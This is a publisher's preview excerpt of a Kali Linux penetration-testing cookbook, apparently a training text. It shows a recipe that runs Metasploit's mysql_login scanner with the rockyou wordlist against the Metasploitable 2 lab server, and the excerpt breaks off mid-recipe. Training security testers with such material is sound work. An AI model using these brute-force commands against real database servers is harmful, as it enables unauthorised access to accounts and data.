Book Image

Kali Linux Intrusion and Exploitation Cookbook

By : Dhruv Shah, Ishan Girdhar
Book Image

Kali Linux Intrusion and Exploitation Cookbook

By: Dhruv Shah, Ishan Girdhar

Overview of this book

With the increasing threats of breaches and attacks on critical infrastructure, system administrators and architects can use Kali Linux 2.0 to ensure their infrastructure is secure by finding out known vulnerabilities and safeguarding their infrastructure against unknown vulnerabilities. This practical cookbook-style guide contains chapters carefully structured in three phases – information gathering, vulnerability assessment, and penetration testing for the web, and wired and wireless networks. It's an ideal reference guide if you’re looking for a solution to a specific problem or learning how to use a tool. We provide hands-on examples of powerful tools/scripts designed for exploitation. In the final section, we cover various tools you can use during testing, and we help you create in-depth reports to impress management. We provide system engineers with steps to reproduce issues and fix them.
Table of Contents (18 chapters)
Title Page
Credits
About the Authors
About the Reviewers
www.PacktPub.com
Customer Feedback
Preface

Cracking MySql and PostgreSQL login using custom wordlist


In recipe, we will see to gain access to the and Postgres databases. We will be the Metasploitable 2 vulnerable server to perform the attacks.

Getting ready

For this exercise, we will be using Metasploit as our module to perform the credential attack, since we have already seen how the other tools work in the previous recipes. Let's start the Metasploit console and start exploiting the SQL servers.

How to do it...

  1. Once are on the console, enter following commands:
      use auxiliary/scanner/mysql/mysql_login
      set username root
      set stop_on_success true
      set rhosts <Target IP address>
      set pass_file /usr/share/wordlists/rockyou.txt
      exploit

The output will be as in the following screenshot:

  1. Once this is done, wait for the script to finish. In this case, since we have given a command to stop on success, once we find the right password it will stop execution of the script. The output will be as shown...